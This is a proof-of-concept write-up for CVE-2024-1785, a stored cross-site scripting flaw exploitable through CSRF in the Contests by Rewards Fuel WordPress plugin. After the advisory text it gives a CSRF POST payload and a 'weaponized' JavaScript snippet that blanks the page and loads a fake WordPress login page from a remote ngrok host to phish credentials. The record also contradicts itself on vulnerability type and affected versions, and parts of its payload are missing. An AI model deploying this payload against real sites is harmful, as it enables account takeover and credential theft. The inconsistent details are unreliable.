## CVE-2024-1785 https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/contests-from-rewards-fuel/contests-by-rewards-fuel-2064-authenticated-contributor-stored-cross-site-scripting-via-update-rewards-fuel-api-key ### Description > The Contests by Rewards Fuel plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'update_rewards_fuel_api_key' parameter in all versions up to, and including, 2.0.64 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. ### Vulnerability Type Cross-Site Request Forgery (CSRF) ### Vendor of Product Rewards Fuel ### Affected Product Code Base Contests by Rewards Fuel <= 2.0.62 ### Exploitation An unauthenticated attacker can update the plugin's settings and inject malicious JavaScript via a forged request granted they can trick a site's user with the edit_posts capability into performing an action such as clicking on a link. ### PoC > Chain the following POST request with CSRF. ``` action=rf_ajax_handler&update_rewards_fuel_api_key="'> ``` > PoC ```html ``` > Weaponized XSS ```javascript // Get all web elements const elements = document.getElementsByTagName('*'); const body = document.body; body.style.display = 'none'; // Loop through all elements and hide them for (let i = 0; i < elements.length; i++) { elements[i].style.display = 'none'; } // load a remote web page const xhr = new XMLHttpRequest(); xhr.open('GET', 'https://xxxxxx.ngrok.app/wp-login.html', true); xhr.onreadystatechange = function () { if (xhr.readyState === 4) { // Get the response and inject it into the page const response = xhr.responseText; document.body.innerHTML = response; } }; xhr.send(null); ```